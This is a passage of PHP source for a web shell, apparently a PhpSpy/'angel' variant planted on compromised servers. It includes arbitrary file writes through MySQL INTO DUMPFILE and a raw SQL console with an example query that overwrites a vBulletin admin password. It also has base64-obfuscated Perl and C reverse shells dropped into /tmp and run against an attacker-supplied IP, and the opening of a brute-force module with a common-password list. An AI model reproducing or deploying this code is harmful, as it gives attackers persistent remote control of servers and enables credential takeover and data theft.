  697.                         p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
  698.                         p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
  699.                         p('</td></tr>');
  700.                         $file_i++;
  701.                 }
  702.         }
  703.         p('<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
  704.         p('</form></table>');
  705. }// end dir
  706.  
  707. elseif ($action == 'sqlfile') {
  708.         if($doing=="mysqlupload"){
  709.                 $file = $_FILES['uploadfile'];
  710.                 $filename = $file['tmp_name'];
  711.                 if (file_exists($savepath)) {
  712.                         m('The goal file has already existed');
  713.                 } else {
  714.                         if(!$filename) {
  715.                                 m('Please choose a file');
  716.                         } else {
  717.                                 $fp=@fopen($filename,'r');
  718.                                 $contents=@fread($fp, filesize($filename));
  719.                                 @fclose($fp);
  720.                                 $contents = bin2hex($contents);
  721.                                 if(!$upname) $upname = $file['name'];
  722.                                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  723.                                 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
  724.                                 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
  725.                         }
  726.                 }
  727.         }
  728. ?>
  729.  
  730. <script type="text/javascript">
  731. function mysqlfile(doing){
  732.         if(!doing) return;
  733.         $('doing').value=doing;
  734.         $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
  735.         $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
  736.         $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
  737.         $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
  738.         $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
  739.         $('mysqlfile').charset.value=$('dbinfo').charset.value;
  740.         $('mysqlfile').submit();
  741. }
  742. </script>
  743. <?php
  744.         !$dbhost && $dbhost = 'localhost';
  745.         !$dbuser && $dbuser = 'root';
  746.         !$dbport && $dbport = '3306';
  747.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
  748.         formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
  749.         makehide('action','sqlfile');
  750.         p('<p>');
  751.         p('DBHost:');
  752.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
  753.         p(':');
  754.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
  755.         p('DBUser:');
  756.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
  757.         p('DBPass:');
  758.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
  759.         p('DBName:');
  760.         makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
  761.         p('DBCharset:');
  762.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
  763.         p('</p>');
  764.         formfoot();
  765.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
  766.         p('<h2>Upload file</h2>');
  767.         p('<p><b>This operation the DB user must has FILE privilege</b></p>');
  768.         p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
  769.         p('<h2>Download file</h2>');
  770.         p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
  771.         makehide('dbhost');
  772.         makehide('dbport');
  773.         makehide('dbuser');
  774.         makehide('dbpass');
  775.         makehide('dbname');
  776.         makehide('charset');
  777.         makehide('doing');
  778.         makehide('action','sqlfile');
  779.         p('</form>');
  780. }
  781.  
  782. elseif ($action == 'sqladmin') {
  783.         !$dbhost && $dbhost = 'localhost';
  784.         !$dbuser && $dbuser = 'root';
  785.         !$dbport && $dbport = '3306';
  786.         $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
  787.         if(isset($dbhost)){
  788.                 $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
  789.         }
  790.         if(isset($dbuser)) {
  791.                 $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
  792.         }
  793.         if(isset($dbpass)) {
  794.                 $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
  795.         }
  796.         if(isset($dbport)) {
  797.                 $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
  798.         }
  799.         if(isset($dbname)) {
  800.                 $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
  801.         }
  802.         if(isset($charset)) {
  803.                 $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
  804.         }
  805.  
  806.         if ($doing == 'backupmysql' && $saveasfile) {
  807.                 if (!$table) {
  808.                         m('Please choose the table');
  809.                 } else {
  810.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  811.                         $table = array_flip($table);
  812.                         $fp = @fopen($path,'w');
  813.                         if ($fp) {
  814.                                 $result = q('SHOW tables');
  815.                                 if (!$result) p('<h2>'.mysql_error().'</h2>');
  816.                                 $mysqldata = '';
  817.                                 while ($currow = mysql_fetch_array($result)) {
  818.                                         if (isset($table[$currow[0]])) {
  819.                                                 sqldumptable($currow[0], $fp);
  820.                                         }
  821.                                 }
  822.                                 fclose($fp);
  823.                                 $fileurl = str_replace(SA_ROOT,'',$path);
  824.                                 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
  825.                                 mysql_close();
  826.                         } else {
  827.                                 m('Backup failed');
  828.                         }
  829.                 }
  830.         }
  831.         if ($insert && $insertsql) {
  832.                 $keystr = $valstr = $tmp = '';
  833.                 foreach($insertsql as $key => $val) {
  834.                         if ($val) {
  835.                                 $keystr .= $tmp.$key;
  836.                                 $valstr .= $tmp."'".addslashes($val)."'";
  837.                                 $tmp = ',';
  838.                         }
  839.                 }
  840.                 if ($keystr && $valstr) {
  841.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  842.                         m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
  843.                 }
  844.         }
  845.         if ($update && $insertsql && $base64) {
  846.                 $valstr = $tmp = '';
  847.                 foreach($insertsql as $key => $val) {
  848.                         $valstr .= $tmp.$key."='".addslashes($val)."'";
  849.                         $tmp = ',';
  850.                 }
  851.                 if ($valstr) {
  852.                         $where = base64_decode($base64);
  853.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  854.                         m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
  855.                 }
  856.         }
  857.         if ($doing == 'del' && $base64) {
  858.                 $where = base64_decode($base64);
  859.                 $delete_sql = "DELETE FROM $tablename WHERE $where";
  860.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  861.                 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
  862.         }
  863.  
  864.         if ($tablename && $doing == 'drop') {
  865.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  866.                 if (q("DROP TABLE $tablename")) {
  867.                         m('Drop table of success');
  868.                         $tablename = '';
  869.                 } else {
  870.                         m(mysql_error());
  871.                 }
  872.         }
  873.  
  874.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
  875.  
  876.         formhead(array('title'=>'MYSQL Manager'));
  877.         makehide('action','sqladmin');
  878.         p('<p>');
  879.         p('DBHost:');
  880.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
  881.         p(':');
  882.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
  883.         p('DBUser:');
  884.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
  885.         p('DBPass:');
  886.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
  887.         p('DBCharset:');
  888.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
  889.         makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
  890.         p('</p>');
  891.         formfoot();
  892. ?>
  893.  
  894. <script type="text/javascript">
  895. function editrecord(action, base64, tablename){
  896.         if (action == 'del') {
  897.                 if (!confirm('Is or isn\'t deletion record?')) return;
  898.         }
  899.         $('recordlist').doing.value=action;
  900.         $('recordlist').base64.value=base64;
  901.         $('recordlist').tablename.value=tablename;
  902.         $('recordlist').submit();
  903. }
  904. function moddbname(dbname) {
  905.         if(!dbname) return;
  906.         $('setdbname').dbname.value=dbname;
  907.         $('setdbname').submit();
  908. }
  909. function settable(tablename,doing,page) {
  910.         if(!tablename) return;
  911.         if (doing) {
  912.                 $('settable').doing.value=doing;
  913.         }
  914.         if (page) {
  915.                 $('settable').page.value=page;
  916.         }
  917.         $('settable').tablename.value=tablename;
  918.         $('settable').submit();
  919. }
  920. </script>
  921. <?php
  922.         // SQL
  923.         formhead(array('name'=>'recordlist'));
  924.         makehide('doing');
  925.         makehide('action','sqladmin');
  926.         makehide('base64');
  927.         makehide('tablename');
  928.         p($dbform);
  929.         formfoot();
  930.  
  931.         // Data
  932.         formhead(array('name'=>'setdbname'));
  933.         makehide('action','sqladmin');
  934.         p($dbform);
  935.         if (!$dbname) {
  936.                 makehide('dbname');
  937.         }
  938.         formfoot();
  939.  
  940.  
  941.         formhead(array('name'=>'settable'));
  942.         makehide('action','sqladmin');
  943.         p($dbform);
  944.         makehide('tablename');
  945.         makehide('page',$page);
  946.         makehide('doing');
  947.         formfoot();
  948.  
  949.         $cachetables = array();
  950.         $pagenum = 30;
  951.         $page = intval($page);
  952.         if($page) {
  953.                 $start_limit = ($page - 1) * $pagenum;
  954.         } else {
  955.                 $start_limit = 0;
  956.                 $page = 1;
  957.         }
  958.         if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
  959.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  960.                 // get mysql server
  961.                 $mysqlver = mysql_get_server_info();
  962.                 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
  963.                 $highver = $mysqlver > '4.1' ? 1 : 0;
  964.  
  965.                 // Show database
  966.                 $query = q("SHOW DATABASES");
  967.                 $dbs = array();
  968.                 $dbs[] = '-- Select a database --';
  969.                 while($db = mysql_fetch_array($query)) {
  970.                         $dbs[$db['Database']] = $db['Database'];
  971.                 }
  972.                 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
  973.                 $tabledb = array();
  974.                 if ($dbname) {
  975.                         p('<p>');
  976.                         p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
  977.                         if ($tablename) {
  978.                                 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
  979.                         }
  980.                         p('</p>');
  981.                         mysql_select_db($dbname);
  982.  
  983.                         $getnumsql = '';
  984.                         $runquery = 0;
  985.                         if ($sql_query) {
  986.                                 $runquery = 1;
  987.                         }
  988.                         $allowedit = 0;
  989.                         if ($tablename && !$sql_query) {
  990.                                 $sql_query = "SELECT * FROM $tablename";
  991.                                 $getnumsql = $sql_query;
  992.                                 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
  993.                                 $allowedit = 1;
  994.                         }
  995.                         p('<form action="'.$self.'" method="POST">');
  996.                         p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database <font color=red><b>'.$dbname.'</font></b>:<BR>Example VBB Password: <font color=red>vbateam</font><BR><font color=yellow>UPDATE `user` SET `password` = \'69e53e5ab9536e55d31ff533aefc4fbe\', salt = \'p5T\' WHERE `userid` = \'1\' </font>
  997.  
  998.                        </td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
  999.                         makehide('tablename', $tablename);
  1000.                         makehide('action','sqladmin');
  1001.                         p($dbform);
  1002.                         p('</form>');
  1003.                         if ($tablename || ($runquery && $sql_query)) {
  1004.                                 if ($doing == 'structure') {
  1005.                                         $result = q("SHOW COLUMNS FROM $tablename");
  1006.                                         $rowdb = array();
  1007.                                         while($row = mysql_fetch_array($result)) {
  1008.                                                 $rowdb[] = $row;
  1009.                                         }
  1010.                                         p('<table border="0" cellpadding="3" cellspacing="0">');
  1011.                                         p('<tr class="head">');
  1012.                                         p('<td>Field</td>');
  1013.                                         p('<td>Type</td>');
  1014.                                         p('<td>Null</td>');
  1015.                                         p('<td>Key</td>');
  1016.                                         p('<td>Default</td>');
  1017.                                         p('<td>Extra</td>');
  1018.                                         p('</tr>');
  1019.                                         foreach ($rowdb as $row) {
  1020.                                                 $thisbg = bg();
  1021.                                                 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  1022.                                                 p('<td>'.$row['Field'].'</td>');
  1023.                                                 p('<td>'.$row['Type'].'</td>');
  1024.                                                 p('<td>'.$row['Null'].'&nbsp;</td>');
  1025.                                                 p('<td>'.$row['Key'].'&nbsp;</td>');
  1026.                                                 p('<td>'.$row['Default'].'&nbsp;</td>');
  1027.                                                 p('<td>'.$row['Extra'].'&nbsp;</td>');
  1028.                                                 p('</tr>');
  1029.                                         }
  1030.                                         tbfoot();
  1031.                                 } elseif ($doing == 'insert' || $doing == 'edit') {
  1032.                                         $result = q('SHOW COLUMNS FROM '.$tablename);
  1033.                                         while ($row = mysql_fetch_array($result)) {
  1034.                                                 $rowdb[] = $row;
  1035.                                         }
  1036.                                         $rs = array();
  1037.                                         if ($doing == 'insert') {
  1038.                                                 p('<h2>Insert new line in '.$tablename.' table &raquo;</h2>');
  1039.                                         } else {
  1040.                                                 p('<h2>Update record in '.$tablename.' table &raquo;</h2>');
  1041.                                                 $where = base64_decode($base64);
  1042.                                                 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
  1043.                                                 $rs = mysql_fetch_array($result);
  1044.                                         }
  1045.                                         p('<form method="post" action="'.$self.'">');
  1046.                                         p($dbform);
  1047.                                         makehide('action','sqladmin');
  1048.                                         makehide('tablename',$tablename);
  1049.                                         p('<table border="0" cellpadding="3" cellspacing="0">');
  1050.                                         foreach ($rowdb as $row) {
  1051.                                                 if ($rs[$row['Field']]) {
  1052.                                                         $value = htmlspecialchars($rs[$row['Field']]);
  1053.                                                 } else {
  1054.                                                         $value = '';
  1055.                                                 }
  1056.                                                 $thisbg = bg();
  1057.                                                 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  1058.                                                 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
  1059.                                         }
  1060.                                         if ($doing == 'insert') {
  1061.                                                 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
  1062.                                         } else {
  1063.                                                 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
  1064.                                                 makehide('base64', $base64);
  1065.                                         }
  1066.                                         p('</table></form>');
  1067.                                 } else {
  1068.                                         $querys = @explode(';',$sql_query);
  1069.                                         foreach($querys as $num=>$query) {
  1070.                                                 if ($query) {
  1071.                                                         p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
  1072.                                                         switch(qy($query))
  1073.                                                         {
  1074.                                                                 case 0:
  1075.                                                                         p('<h2>Error : '.mysql_error().'</h2>');
  1076.                                                                         break;
  1077.                                                                 case 1:
  1078.                                                                         if (strtolower(substr($query,0,13)) == 'select * from') {
  1079.                                                                                 $allowedit = 1;
  1080.                                                                         }
  1081.                                                                         if ($getnumsql) {
  1082.                                                                                 $tatol = mysql_num_rows(q($getnumsql));
  1083.                                                                                 $multipage = multi($tatol, $pagenum, $page, $tablename);
  1084.                                                                         }
  1085.                                                                         if (!$tablename) {
  1086.                                                                                 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
  1087.                                                                                 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
  1088.                                                                                 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
  1089.                                                                                 $tablename = $matches[1][0];
  1090.                                                                         }
  1091.                                                                         $result = q($query);
  1092.                                                                         p($multipage);
  1093.                                                                         p('<table border="0" cellpadding="3" cellspacing="0">');
  1094.                                                                         p('<tr class="head">');
  1095.                                                                         if ($allowedit) p('<td>Action</td>');
  1096.                                                                         $fieldnum = @mysql_num_fields($result);
  1097.                                                                         for($i=0;$i<$fieldnum;$i++){
  1098.                                                                                 $name = @mysql_field_name($result, $i);
  1099.                                                                                 $type = @mysql_field_type($result, $i);
  1100.                                                                                 $len = @mysql_field_len($result, $i);
  1101.                                                                                 p("<td nowrap>$name<br><span>$type($len)</span></td>");
  1102.                                                                         }
  1103.                                                                         p('</tr>');
  1104.                                                                         while($mn = @mysql_fetch_assoc($result)){
  1105.                                                                                 $thisbg = bg();
  1106.                                                                                 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  1107.                                                                                 $where = $tmp = $b1 = '';
  1108.                                                                                 foreach($mn as $key=>$inside){
  1109.                                                                                         if ($inside) {
  1110.                                                                                                 $where .= $tmp.$key."='".addslashes($inside)."'";
  1111.                                                                                                 $tmp = ' AND ';
  1112.                                                                                         }
  1113.                                                                                         $b1 .= '<td nowrap>'.html_clean($inside).'&nbsp;</td>';
  1114.                                                                                 }
  1115.                                                                                 $where = base64_encode($where);
  1116.                                                                                 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
  1117.                                                                                 p($b1);
  1118.                                                                                 p('</tr>');
  1119.                                                                                 unset($b1);
  1120.                                                                         }
  1121.                                                                         tbfoot();
  1122.                                                                         p($multipage);
  1123.                                                                         break;
  1124.                                                                 case 2:
  1125.                                                                         $ar = mysql_affected_rows();
  1126.                                                                         p('<h2>affected rows : <b>'.$ar.'</b></h2>');
  1127.                                                                         break;
  1128.                                                         }
  1129.                                                 }
  1130.                                         }
  1131.                                 }
  1132.                         } else {
  1133.                                 $query = q("SHOW TABLE STATUS");
  1134.                                 $table_num = $table_rows = $data_size = 0;
  1135.                                 $tabledb = array();
  1136.                                 while($table = mysql_fetch_array($query)) {
  1137.                                         $data_size = $data_size + $table['Data_length'];
  1138.                                         $table_rows = $table_rows + $table['Rows'];
  1139.                                         $table['Data_length'] = sizecount($table['Data_length']);
  1140.                                         $table_num++;
  1141.                                         $tabledb[] = $table;
  1142.                                 }
  1143.                                 $data_size = sizecount($data_size);
  1144.                                 unset($table);
  1145.                                 p('<table border="0" cellpadding="0" cellspacing="0">');
  1146.                                 p('<form action="'.$self.'" method="POST">');
  1147.                                 makehide('action','sqladmin');
  1148.                                 p($dbform);
  1149.                                 p('<tr class="head">');
  1150.                                 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
  1151.                                 p('<td>Name</td>');
  1152.                                 p('<td>Rows</td>');
  1153.                                 p('<td>Data_length</td>');
  1154.                                 p('<td>Create_time</td>');
  1155.                                 p('<td>Update_time</td>');
  1156.                                 if ($highver) {
  1157.                                         p('<td>Engine</td>');
  1158.                                         p('<td>Collation</td>');
  1159.                                 }
  1160.                                 p('</tr>');
  1161.                                 foreach ($tabledb as $key => $table) {
  1162.                                         $thisbg = bg();
  1163.                                         p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  1164.                                         p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
  1165.                                         p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
  1166.                                         p('<td>'.$table['Rows'].'</td>');
  1167.                                         p('<td>'.$table['Data_length'].'</td>');
  1168.                                         p('<td>'.$table['Create_time'].'</td>');
  1169.                                         p('<td>'.$table['Update_time'].'</td>');
  1170.                                         if ($highver) {
  1171.                                                 p('<td>'.$table['Engine'].'</td>');
  1172.                                                 p('<td>'.$table['Collation'].'</td>');
  1173.                                         }
  1174.                                         p('</tr>');
  1175.                                 }
  1176.                                 p('<tr class=fout>');
  1177.                                 p('<td>&nbsp;</td>');
  1178.                                 p('<td>Total tables: '.$table_num.'</td>');
  1179.                                 p('<td>'.$table_rows.'</td>');
  1180.                                 p('<td>'.$data_size.'</td>');
  1181.                                 p('<td colspan="'.($highver ? 4 : 2).'">&nbsp;</td>');
  1182.                                 p('</tr>');
  1183.  
  1184.                                 p("<tr class=\"fout\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
  1185.                                 makehide('doing','backupmysql');
  1186.                                 formfoot();
  1187.                                 p("</table>");
  1188.                                 fr($query);
  1189.                         }
  1190.                 }
  1191.         }
  1192.         tbfoot();
  1193.         @mysql_close();
  1194. }//end sql backup
  1195.  
  1196.  
  1197. elseif ($action == 'backconnect') {
  1198.         !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
  1199.         !$yourport && $yourport = '12345';
  1200.         $usedb = array('perl'=>'perl','c'=>'c');
  1201.  
  1202.         $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
  1203.                 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
  1204.                 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
  1205.                 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
  1206.                 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
  1207.                 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
  1208.                 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
  1209.         $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
  1210.                 "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
  1211.                 "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
  1212.                 "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
  1213.                 "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
  1214.                 "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
  1215.                 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
  1216.                 "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
  1217.  
  1218.         if ($start && $yourip && $yourport && $use){
  1219.                 if ($use == 'perl') {
  1220.                         cf('/tmp/angel_bc',$back_connect);
  1221.                         $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
  1222.                 } else {
  1223.                         cf('/tmp/angel_bc.c',$back_connect_c);
  1224.                         $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
  1225.                         @unlink('/tmp/angel_bc.c');
  1226.                         $res = execute("/tmp/angel_bc $yourip $yourport &");
  1227.                 }
  1228.                 m("Now script try connect to $yourip port $yourport ...");
  1229.         }
  1230.  
  1231.         formhead(array('title'=>'Back Connect'));
  1232.         makehide('action','backconnect');
  1233.         p('<p>');
  1234.         p('Your IP:');
  1235.         makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
  1236.         p('Your Port:');
  1237.         makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
  1238.         p('Use:');
  1239.         makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
  1240.         makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
  1241.         p('</p>');
  1242.         formfoot();
  1243. }//end backconnect window via NC
  1244.  
  1245. // Brute
  1246. elseif ($action == 'brute') {
  1247. formhead(array('title'=>'Brute Forcer'));
  1248.         makehide('action','brute');
  1249.         makehide('dir',$brute);
  1250. @ini_set('memory_limit', 1000000000000);
  1251. $connect_timeout=5;
  1252. @set_time_limit(0);
  1253. $submit = $_REQUEST['submit'];
  1254. $users = $_REQUEST['users'];
  1255. $pass = $_REQUEST['passwords'];
  1256. $target = $_REQUEST['target'];
  1257. $option = $_REQUEST['option'];
  1258.  
  1259.  
  1260. $passlist = "0123456
  1261. 01234567
  1262. 012345678
  1263. 0123456789
  1264. 01234567890
  1265. 123456
  1266. 1234567
  1267. 12345678
  1268. 123456789
  1269. 1234567890
  1270. 111111
  1271. 000000
  1272. 222222
  1273. 333333
  1274. 444444
  1275. 555555
  1276. 666666
  1277. 777777
  1278. 888888
  1279. 999999
  1280. 123123
  1281. 456456
  1282. 789789
  1283. 123321
  1284. 456654
  1285. 654321
  1286. 7654321
  1287. 87654321
  1288. 987654321
  1289. 0987654321
  1290. admin
  1291. administrator
  1292. admincp
  1293. cpanel
  1294. adminx
  1295. admins
  1296. password
  1297. passwords
  1298. passw0rd
  1299. p@ssw0rd
  1300. p@ssword
  1301. khongco
  1302. 25251325
  1303. passw0rds";
  1304. if($target == ''){
  1305. $target = 'localhost';
  1306. }
  1307. print " <div align='center'>
  1308.  
  1309. <form method='post' style='border: 1px solid #000000'><br><br>
  1310. <TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='40%' bgColor=#303030 borderColorLight=#966117 border=1><tr><td>
  1311. <b> Target  : </font><input type='text' name='target' size='16' value= $target style='border: font-family:tahoma; font-weight:bold;'></p></font></b></p>
  1312. <div align='center'><br>
  1313. <TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='50%' bgColor=#303030 borderColorLight=#966117 border=1>
  1314. <tr>
  1315. <td align='center'>
  1316. <b>Username</b></td>
  1317. <td>
  1318. <p align='center'>
  1319. <b>Password</b></td>
  1320. </tr>
  1321. </table>
  1322.  
  1323. <p align='center'>
